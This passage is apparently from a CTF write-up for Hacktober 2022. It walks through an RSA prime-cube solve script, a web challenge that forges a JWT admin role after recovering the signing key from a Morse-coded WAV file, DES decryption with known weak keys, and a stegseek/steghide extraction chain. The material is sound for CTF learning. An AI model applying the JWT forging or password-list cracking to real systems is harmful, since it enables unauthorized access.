n : 3562025819806207598506935313652818193694408042402095598802948686528664083678156384230585773124187183429452585030988291069096861045972802467416705279604486020388348472580039018962102511983815563723736180708592666974070248322487939238066038544561114394540155530196442120193861812059143546059739735993817021471143725463613639854298689669634150519751023855301637470895032889730491285338846223286091340318508234930986767814601908084003047148599368592010225076235162432043729667295956167726201883189770503279423400834031830491870093870945555857891309998991278667596320334592033112643296049774919487899146919910749049834644331028551624705715438675435164416620434563284111656424624712177288864754414901725391190092902892108380047239415400890400559518249019212241727294623039855933386203050979539735397543730716931588006439242049229731756422034401993258321147410260141018769437607642503118317734393909743006658024818441308680901690851
c : 2516237289957302236251858951236032334412455686079400830237839879057787830645067797137738711946341623754456707739577736998819870066617039293316946810320002494648998047302595262757894785321199162980834939799733484596346949505667306716615729921686545529506926252081731428379036200058577976750566384720188753121155352487735871971794519474753366064386647352205889074325185936384137093744271927073455851200678793655763537920521513060575064161635032634628568781522682366980586698537408761318862442844989178839047838089642767260740411619182266928418337833476140122341586702677795684912931299939387873896532856751087425861831230124634177750987351977954576237976705029614761853142929279978559177029765854431818473718241401428942221951239493528042182409411857156609549783747819232585970451980001536203841031474836522076528740926993248600364447915316359289538243994381859589498460396744920733533442314466040542770347133757607703908152916
I did beat around it for sometime trying out different things, but nothing did work out. Finally I decided to look into Euler totient
function ϕ
. One of the goto websites for Math related stuff is brilliant.org and their article on Euler's totient
function is really great.
From the same we get to know that ϕ(px) = px - px-1. Also the challenge instructions give us the clue that n = p3.
Now from the above we get hold of ϕ(n) which is equal to ϕ(p3).
ϕ(n) = ϕ(p3)
=> ϕ(n) = p3 - p2
From the given data in the challenge instructions we have all the required details to decrypt the cipher as we now have the exponent e
and ϕ(n).
The above explanation is scripted as a python
code in the below script.
Click here to view solve.py
from Crypto.Util.number import long_to_bytes
from sympy import cbrt
e = 65537
n = 3562025819806207598506935313652818193694408042402095598802948686528664083678156384230585773124187183429452585030988291069096861045972802467416705279604486020388348472580039018962102511983815563723736180708592666974070248322487939238066038544561114394540155530196442120193861812059143546059739735993817021471143725463613639854298689669634150519751023855301637470895032889730491285338846223286091340318508234930986767814601908084003047148599368592010225076235162432043729667295956167726201883189770503279423400834031830491870093870945555857891309998991278667596320334592033112643296049774919487899146919910749049834644331028551624705715438675435164416620434563284111656424624712177288864754414901725391190092902892108380047239415400890400559518249019212241727294623039855933386203050979539735397543730716931588006439242049229731756422034401993258321147410260141018769437607642503118317734393909743006658024818441308680901690851
c = 2516237289957302236251858951236032334412455686079400830237839879057787830645067797137738711946341623754456707739577736998819870066617039293316946810320002494648998047302595262757894785321199162980834939799733484596346949505667306716615729921686545529506926252081731428379036200058577976750566384720188753121155352487735871971794519474753366064386647352205889074325185936384137093744271927073455851200678793655763537920521513060575064161635032634628568781522682366980586698537408761318862442844989178839047838089642767260740411619182266928418337833476140122341586702677795684912931299939387873896532856751087425861831230124634177750987351977954576237976705029614761853142929279978559177029765854431818473718241401428942221951239493528042182409411857156609549783747819232585970451980001536203841031474836522076528740926993248600364447915316359289538243994381859589498460396744920733533442314466040542770347133757607703908152916
p = int(cbrt(n))
# phi(n) = phi(p^3) = p^3 - p^2 = n - p^2
phi_n = n - pow(p, 2)
def modinv(x, m):
return pow(x, -1, m)
print(long_to_bytes(pow(c, modinv(e, phi_n), n)))
The required flag ZCTF2022{s0_s0_s0_y0u_kn0w_h0w_pHi_w0rks}
is obtained by running the above script.
JWT Token 🪙
Web
This was an interesting Web based challenge. It required quite a bit of going around but was really a good one. However it was obvious from the name that it was related to JWT token forging.
So by prior knowledge it was clear that we had to be able to get the secret key used to sign the JWT token so that we can forge the JWT token to contain the admin
role instead of the user
role.
This means the main goal is to first find a secret key for JWT signature generation.
Challenge instructions:
Admin tries to log in with default admin credentials.
Unfortunately, it only has a User role instead of an Admin role.
Try to access with the Admin role and bite the sweet.Challenge link: https://h22-ctf-63hgkw9bzy.dummydomain.team/
Hint 1: Surfers love wave !
Hint 2: DecodeROT7(value) == “Signing key”
The link lead to a login page. In general for web based challenges source code check is the first step. Checking the source code gave us the first clue which was a comment in the HTML code containing the Base64 encoded username as seen below.
<!--
username -> YWRtaW4=
-->
Base64 decoding the value gives us the username as admin
. Also as we are not informed about the password but the default is to try the username itself as the password. This logs into the webpage. However as stated in the instructions it does not load the flag.
After logging into the webpage with default credentials we get a dummy page. However there are two clues hidden in this stage. One is the HTML source has a comment stating that we need to login with an admin
role which means the authentication role still is user
privileges and not admin
. On inspecting the cookies it shows us that JWT is being used which is also obvious from the challenge name and instructions.
Another crucial clue is the console.log("/secret.txt")
in the source code. This points to a hidden url. On accessing this url we get a file download named secret.txt
which can be downloaded here.
As said before whenever I download a new file I follow the process of throwing file
and binwalk
commands to it. However to my surprise none of these commands gave any output.
┌──(cryptonic㉿cryptonic-kali)-[~/CTFs/hacktober22/jwt]
└─$ file secret.txt
secret.txt: data
┌──(cryptonic㉿cryptonic-kali)-[~/CTFs/hacktober22/jwt]
└─$ binwalk secret.txt
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
┌──(cryptonic㉿cryptonic-kali)-[~/CTFs/hacktober22/jwt]
└─$
So the next step is to try strings
with the file to see if we get any hits for our flag.
┌──(cryptonic㉿cryptonic-kali)-[~/CTFs/hacktober22/jwt]
└─$ strings secret.txt | grep -i "zctf"
┌──(cryptonic㉿cryptonic-kali)-[~/CTFs/hacktober22/jwt]
└─$
This command also did not return any valid results.
The next step is to manually analyze the file. On opening the file forcefully in a text editor clearly revealed that it was some binary format. So we had to take the hexdump and analyze. As the magic number of the file is generally present in the first 16 - 32 bytes, we analyze the initial bytes first.
┌──(cryptonic㉿cryptonic-kali)-[~/CTFs/hacktober22/jwt]
└─$ hexdump -C secret.txt | head -n 10
00000000 49 46 46 14 80 03 00 57 41 56 45 66 6d 74 20 10 |IFF....WAVEfmt .|
00000010 00 00 00 01 00 01 00 40 1f 00 00 40 1f 00 00 01 |.......@...@....|
00000020 00 08 00 64 61 74 61 f0 7f 03 00 80 83 91 ab cb |...data.........|
00000030 e3 ec df bd 8d 58 2b 0c 04 14 37 69 9e ce f0 fc |.....X+...7i....|
00000040 f2 d3 a5 70 3e 18 05 09 23 4e 82 b6 e0 f8 fa e6 |...p>...#N......|
00000050 bf 8d 58 2a 0d 04 12 35 65 9a ca ed fc f4 d7 a9 |..X*...5e.......|
00000060 74 42 1a 06 08 20 49 7d b1 dc f7 fb e9 c3 92 5d |tB... I}.......]|
00000070 2e 0e 04 10 31 60 95 c6 eb fc f6 da ae 79 46 1d |....1`.......yF.|
00000080 07 07 1d 45 78 ad d9 f5 fc eb c8 96 61 32 11 04 |...Ex.......a2..|
00000090 0e 2d 5b 90 c2 e8 fb f7 dd b2 7e 4a 20 08 06 1a |.-[.......~J ...|
Now this has some interesting data. The first few bytes of the file clearly gives us that the file is in some WAVE format and this is corroborated by the first clue given in the challenge instructions. The format specification of the WAVE format clearly states that it should start with RIFF
whereas our file is missing one byte R
.
So we go ahead and prefix the missing byte and voila the file is now in a proper wave format. The corrected wave file can be downloaded here and was created by using the below command:
┌──(cryptonic㉿cryptonic-kali)-[~/CTFs/hacktober22/jwt]
└─$ printf R | cat - secret.txt > corrected_secret.wave
┌──(cryptonic㉿cryptonic-kali)-[~/CTFs/hacktober22/jwt]
└─$ file corrected_secret.wave
corrected_secret.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 8 bit, mono 8000 Hz
Now we play this audio in some media player online or on-device. I used the online spectrogram generator available here thinking that the spectrogram of the audio would have some encoded information.
But as soon as the website started playing it, I could recognize it as a wave with distinct, beeps, long beeps and lows starkly similar to any morse code. So I quickly switched to a morse code decoder available here.
Running the corrected_secret.wav
file through the morse code decoder gave me a hex encoded string with the hex value being 5164415F41307233755F4B40756E6C79
. Using a hex to string converter gives us the string QdA_A0r3u_K@unly
.
At this stage I was actually stuck because the second hint was not released by then. I was stuck because I thought the above is the secret used for JWT signature verification.
After the second hint it was clear we had to apply some rotational cipher to obtain the actual key. We use GCHQ Tools to run the ROT cipher sequentially from ROT16 onwards and incrementing the rotation amount by one each time. At ROT19 as seen here we get a visibly familiar string JwT_T0k3n_D@nger
.
I stopped at this point and got back to the JWT forging part as we now have the secret key. So now we login, intercept the request with Burp tool and forge the session token to such that it’s role claim is changed to admin
. This whole process is captured in the below image.
By this we successfully reach the flag page and are presented with the required flag as ZCTF{I_L0ve_Jwt_T0k3n}
.
Really_W3ak 🔐
Crypto
This was the last challenge in the crypto category which I had pending. The challenge name and the weightage clearly pointed out it was something that is trivial and depends on specific vulnerability in the DES protocol.
Challenge instructions:
“a weak will win even at the cost of their life”
~ Might Guy
+-+-+ +-+-+-+-+-+ +-+-+-+-+ +-+-+-+
|I|m| |k|i|n|d|a| |W|e|a|k| |D|E|S|
+-+-+ +-+-+-+-+-+ +-+-+-+-+ +-+-+-+
Encrypted: F3Z/BVjrDsXJIgpNjNUNnodhk6Pr/1J7svjkmoy4tLI=
The challenge instructions pointed towards a very weak DES encryption. The content was Base64 encoded and decoding it gave us only binary text which meant it was the encrypted blob as pointed at by the challenge instructions.
I understood the actual challenge is some brute force key or some specific weakness in DES keys. On searching for weak DES encryption
(in our good old friend Google’s younger cousin DuckDuckGo 😜) I landed on this writeup which contained this resource explaining the vulnerability.
The writeup did contain a nice script and modifying our input in the script gave us the required flag. The script, output and flag is available below.
Click here to view the script and output
#https://noob-atbash.github.io/CTF-writeups/cyberwar/crypto/chal-5.html
from Crypto.Cipher import DES
from base64 import *
f = open('output.txt', 'rb')
ciphertext = b64decode(f.read())
f.close()
KEY=b'\x00\x00\x00\x00\x00\x00\x00\x00'
a = DES.new(KEY, DES.MODE_ECB)
plaintext = a.decrypt(ciphertext)
print (plaintext)
KEY=b'\x1E\x1E\x1E\x1E\x0F\x0F\x0F\x0F'
a = DES.new(KEY, DES.MODE_ECB)
plaintext = a.decrypt(ciphertext)
print (plaintext)
KEY=b"\xE1\xE1\xE1\xE1\xF0\xF0\xF0\xF0"
a = DES.new(KEY, DES.MODE_ECB)
plaintext = a.decrypt(ciphertext)
print (plaintext)
KEY=b"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
a = DES.new(KEY, DES.MODE_ECB)
plaintext = a.decrypt(ciphertext)
print (plaintext)
Note: Before running the code store the encrypted Base64 encoded content in the same folder as the script with the file name as
output.txt
.
┌──(cryptonic㉿cryptonic-kali)-[~/CTFs/hacktober22/really_weak]
└─$ python solve.py
b'ZCTF2022{W3ak_k3ys_3v3ryWh3r3}**'
b"\x0eF\x0b\x82>L\xa61e\xa8l\x8bq\xc4CG%\n\xf6\xffl$\x0b'\x1c\xc6\x1a\x9de?\x0f\x03"
b'\xab\xa0(\x8f\xf8 =V\xab\xe6\x93>\x87\xb5\xb5\x06y\x1e\xa4\xe2\xe1\xb4\x13\x8e\x9d\x9d\x97WE\xcfk7'
b'(\xea\\q[`\xb1\x11\xdfK\t\x7f\x9d\x99r@\xcc_\xdd\xd4\xfcK\xcbD0\xffu\xc1\x8fZ)\x95'
As obvious from the run of the above script the required flag is ZCTF2022{W3ak_k3ys_3v3ryWh3r3}
.
Zippo Zipped 🗄
Steg
It was the only challenge in the steganography category. There was a natural progression when I did start it, but then the subtle last part had no clue whatsover and I ended up not solving it during the challenge.
Challenge instructions:
We don’t know what is this file and what’s inside it.
So we see that we are given with a jpeg
which seemingly does open properly. However information can be hidden inside a JPEG image as it allows different frames. This information could be hidden in different formats. We try the usual suspects like file
, binwalk
and strings
.
The outputs for the same can be seen below.
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo]
└─$ file CTF.jpeg
CTF.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5, manufacturer=NIKON, model=COOLPIX S9300], baseline, precision 8, 640x480, components 3
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo]
└─$ binwalk CTF.jpeg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, big-endian, offset of first image directory: 8
131359 0x2011F Zip archive data, at least v2.0 to extract, uncompressed size: 5284289, name: CTF.jpg
5417080 0x52A878 Zip archive data, at least v2.0 to extract, uncompressed size: 276, name: __MACOSX/._CTF.jpg
5417309 0x52A95D Zip archive data, at least v2.0 to extract, uncompressed size: 102241, name: bucky.jpg
5518117 0x543325 End of Zip archive, footer length: 22
From the above it is clear that the image actually hides a zip file which starts at byte value 131359
and runs till the end of the file. We cut this byterange into a new file using the cutbytesrange
script described in a prior writeup. We use ls
to find the total file size and use it in the cutbytesrange
script.
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo]
└─$ ls -al CTF.jpeg
-rw-rw-r-- 1 cryptonic cryptonic 5518139 Oct 31 20:53 CTF.jpeg
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo]
└─$ cutbytesrange 131359 5518139 CTF.jpeg CTF.zip
1+0 records in
1+0 records out
5386780 bytes (5.4 MB, 5.1 MiB) copied, 0.0193719 s, 278 MB/s
This gives us a zip file. We go ahead and unzip it.
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo]
└─$ unzip -d CTF_ZIP CTF.zip
Archive: CTF.zip
inflating: CTF_ZIP/CTF.jpg
inflating: CTF_ZIP/__MACOSX/._CTF.jpg
inflating: CTF_ZIP/bucky.jpg
We get couple of image files and the MACOS folder that is generally present in all MACOS systems. I analyzed the two image files. The first one bucky.jpg
was a valid jpg file. Opening the image did not have any clues or the flag. So next was to check its meta information using the exiftool
. We go ahead and run exiftool
and binwalk
to ensure its a valid image file and they turn out to be good.
We also additionally run the strings
command to look into any interesting ASCII strings embedded in the file.
Click here to view the output for bucky.jpg
┌──(cryptonic㉿cryptonic-kali)─[~/InfoSec/ctfs/hacktober22/zippo_zippo_new/CTF_ZIP]
└─$ exiftool bucky.jpg
ExifTool Version Number : 11.88
File Name : bucky.jpg
Directory : .
File Size : 100 kB
File Modification Date/Time : 2022:10:10 14:58:36+05:30
File Access Date/Time : 2022:10:31 20:58:14+05:30
File Inode Change Date/Time : 2022:10:31 20:57:12+05:30
File Permissions : rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Exif Byte Order : Big-endian (Motorola, MM)
X Resolution : 72
Y Resolution : 72
Resolution Unit : inches
Artist : Password_here-ilove3000
Y Cb Cr Positioning : Centered
Profile CMM Type : Linotronic
Profile Version : 2.1.0
Profile Class : Display Device Profile
Color Space Data : RGB
Profile Connection Space : XYZ
Profile Date Time : 1998:02:09 06:49:00
Profile File Signature : acsp
Primary Platform : Microsoft Corporation
CMM Flags : Not Embedded, Independent
Device Manufacturer : Hewlett-Packard
Device Model : sRGB
Device Attributes : Reflective, Glossy, Positive, Color
Rendering Intent : Perceptual
Connection Space Illuminant : 0.9642 1 0.82491
Profile Creator : Hewlett-Packard
Profile ID : 0
Profile Copyright : Copyright (c) 1998 Hewlett-Packard Company
Profile Description : sRGB IEC61966-2.1
Media White Point : 0.95045 1 1.08905
Media Black Point : 0 0 0
Red Matrix Column : 0.43607 0.22249 0.01392
Green Matrix Column : 0.38515 0.71687 0.09708
Blue Matrix Column : 0.14307 0.06061 0.7141
Device Mfg Desc : IEC http://www.iec.ch
Device Model Desc : IEC 61966-2.1 Default RGB colour space - sRGB
Viewing Cond Desc : Reference Viewing Condition in IEC61966-2.1
Viewing Cond Illuminant : 19.6445 20.3718 16.8089
Viewing Cond Surround : 3.92889 4.07439 3.36179
Viewing Cond Illuminant Type : D50
Luminance : 76.03647 80 87.12462
Measurement Observer : CIE 1931
Measurement Backing : 0 0 0
Measurement Geometry : Unknown
Measurement Flare : 0.999%
Measurement Illuminant : D65
Technology : Cathode Ray Tube Display
Red Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Green Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Blue Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Image Width : 1050
Image Height : 700
Encoding Process : Progressive DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
Image Size : 1050x700
Megapixels : 0.735
┌──(cryptonic㉿cryptonic-kali)─[~/InfoSec/ctfs/hacktober22/zippo_zippo_new/CTF_ZIP]
└─$ binwalk bucky.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, big-endian, offset of first image directory: 8
506 0x1FA Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"
┌──(cryptonic㉿cryptonic-kali)─[~/InfoSec/ctfs/hacktober22/zippo_zippo_new/CTF_ZIP]
└─$ strings -n 13 bucky.jpg
Password_here-ilove3000
Copyright (c) 1998 Hewlett-Packard Company
sRGB IEC61966-2.1
sRGB IEC61966-2.1
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Oillllllllnlnno
s#3cccccccccccc&L
#########333#"
ddddddddddY{Ye
The last strings
command gives us an interesting string Password_here-ilove3000
. It says that for something we will need a password which is ilove3000
.
Next we analyze the same on CTF.jpg. Running binwalk
tells us that it is an encrypted zip file. So we go ahead and rename it as a zip file instead.
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo/CTF_ZIP]
└─$ binwalk CTF.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Zip archive data, at least v1.0 to extract, name: CTF/
62 0x3E Zip archive data, encrypted at least v2.0 to extract, compressed size: 266, uncompressed size: 6148, name: CTF/.DS_Store
415 0x19F Zip archive data, at least v2.0 to extract, compressed size: 53, uncompressed size: 120, name: __MACOSX/CTF/._.DS_Store
554 0x22A Zip archive data, encrypted at least v2.0 to extract, compressed size: 5283080, uncompressed size: 5286260, name: CTF/Tesseract.jpeg
5283726 0x509F8E Zip archive data, encrypted at least v1.0 to extract, compressed size: 22, uncompressed size: 10, name: CTF/Dummy file
5284267 0x50A1AB End of Zip archive, footer length: 22
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo/CTF_ZIP]
└─$ cp CTF.jpg CTF_NEW.zip
Now we have an encrypted zip file and a password to decrypt it. So we go ahead and unzip it again.
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo/CTF_ZIP]
└─$ unzip -d CTF_NEW CTF_NEW.zip
Archive: CTF_NEW.zip
creating: CTF_NEW/CTF/
[CTF_NEW.zip] CTF/.DS_Store password:
inflating: CTF_NEW/CTF/.DS_Store
inflating: CTF_NEW/__MACOSX/CTF/._.DS_Store
inflating: CTF_NEW/CTF/Tesseract.jpeg
extracting: CTF_NEW/CTF/Dummy file
At this stage we have a new image Tesseract.jpeg
which we run through binwalk
, strings
, file
and exiftool
.
Click here to view the output of the above
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo/CTF_ZIP/CTF_NEW/CTF]
└─$ binwalk Tesseract.jpeg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippoCTF_ZIP/CTF_NEW/CTF]
└─$ file Tesseract.jpeg
Tesseract.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 5072x6761, components 3
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo/CTF_ZIP/CTF_NEW/CTF]
└─$ exiftool Tesseract.jpeg
ExifTool Version Number : 11.88
File Name : Tesseract.jpeg
Directory : .
File Size : 5.0 MB
File Modification Date/Time : 2022:10:10 10:12:17+05:30
File Access Date/Time : 2022:10:31 21:15:33+05:30
File Inode Change Date/Time : 2022:10:31 21:14:38+05:30
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 72
Y Resolution : 72
Image Width : 5072
Image Height : 6761
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 5072x6761
Megapixels : 34.3
┌──(cryptonic㉿cryptonic-kali)─[~/CTF/hacktober22/zippo_zippo/CTF_ZIP/CTF_NEW/CTF]
└─$ strings -n 15 Tesseract.jpeg | head -n 5
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
rr}j_"8UNweECq:
The above do not provide any valid clues or directions. However till now we havent done any real steganography cracking. So we had to use stegseek
somewhere with weak encryption password list at this stage. The required password list file can be downloaded from this public url.
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo/CTF_ZIP/CTF_NEW/CTF]
└─$ stegseek --crack -sf Tesseract.jpeg --wordlist ~/Tools/john/run/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: ""0.0 MB)
[i] Original filename: "Archive.zip".
[i] Extracting to "Tesseract.jpeg.out".
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo/CTF_ZIP/CTF_NEW/CTF]
└─$ mv Tesseract.jpeg.out Archive.zip
┌──(cryptonic㉿cryptonic-kali)─[~/InfoSec/ctfs/hacktober22/zippo_zippo_new/CTF_ZIP/CTF_NEW/CTF]
└─$ unzip Archive.zip
Archive: Archive.zip
creating: Archive.txt/
inflating: __MACOSX/._Archive.txt
inflating: Archive.txt/script2.jpeg
inflating: __MACOSX/Archive.txt/._script2.jpeg
inflating: Archive.txt/file.jpeg
inflating: __MACOSX/Archive.txt/._file.jpeg
inflating: Archive.txt/unknown.txt
inflating: Archive.txt/index.html
inflating: __MACOSX/Archive.txt/._index.html
inflating: Archive.txt/.DS_Store
inflating: __MACOSX/Archive.txt/._.DS_Store
inflating: Archive.txt/script3.jpeg
inflating: __MACOSX/Archive.txt/._script3.jpeg
inflating: Archive.txt/script8.jpeg
inflating: __MACOSX/Archive.txt/._script8.jpeg
inflating: Archive.txt/script11.jpeg
inflating: __MACOSX/Archive.txt/._script11.jpeg
inflating: Archive.txt/script4.jpeg
inflating: __MACOSX/Archive.txt/._script4.jpeg
inflating: Archive.txt/script5.jpeg
inflating: __MACOSX/Archive.txt/._script5.jpeg
inflating: Archive.txt/script9jpeg
inflating: __MACOSX/Archive.txt/._script9jpeg
inflating: Archive.txt/script10.jpeg
inflating: Archive.txt/script9.jpeg
inflating: Archive.txt/final.jpeg
inflating: __MACOSX/Archive.txt/._final.jpeg
inflating: Archive.txt/script6.jpeg
inflating: __MACOSX/Archive.txt/._script6.jpeg
inflating: Archive.txt/script7.jpeg
inflating: __MACOSX/Archive.txt/._script7.jpeg
inflating: Archive.txt/script1.jpeg
inflating: __MACOSX/Archive.txt/._script1.jpeg
Now stegseek
finds the weak password and extracts the hidden file to Tesseract.jpeg.out
and informs that the original file name was Archive.zip
. We rename the file and unzip it which gives us some 17 files. This is where I got stuck for ever as there wasnt any concrete clue.
I could figure out that there was another level of stegano
to be done on the final.jpeg
file but the password list did not work. This meant it was not encrypted with some common password.
I did analyze each file one by one and did not find any proper password. On opening the index.html
it even gave an alert ctf-steg
but it never struck me that it could be the password. Turns out that was the required password.
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo/CTF_ZIP/CTF_NEW/CTF/Archive.txt]
└─$ cat script10.jpeg
alert(' ctf-steg ');
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo_new/CTF_ZIP/CTF_NEW/CTF/Archive.txt]
└─$ steghide extract -sf final.jpeg -p ctf-steg
wrote extracted data to "welcome.jpg".
We get a new file welcome.jpg
. Running the file
command quickly to verify the file type shows that the file is actually not an image but a normal text file. We print the contents of the file.
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo/CTF_ZIP/CTF_NEW/CTF/Archive.txt]
└─$ file welcome.jpg
welcome.jpg: ASCII text, with no line terminators
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo/CTF_ZIP/CTF_NEW/CTF/Archive.txt]
└─$ cat welcome.jpg
WkNURjIwMjJ7MTEyODk0MTIzfQ==
We can see that the contents of the file is clearly in Base64
encoding. We decode this to get the actual flag ZCTF2022{112894123}
as seen below.
┌──(cryptonic㉿cryptonic-kali)─[~/CTFs/hacktober22/zippo_zippo/CTF_ZIP/CTF_NEW/CTF/Archive.txt]
└─$ base64 -d < welcome.jpg
ZCTF2022{112894123}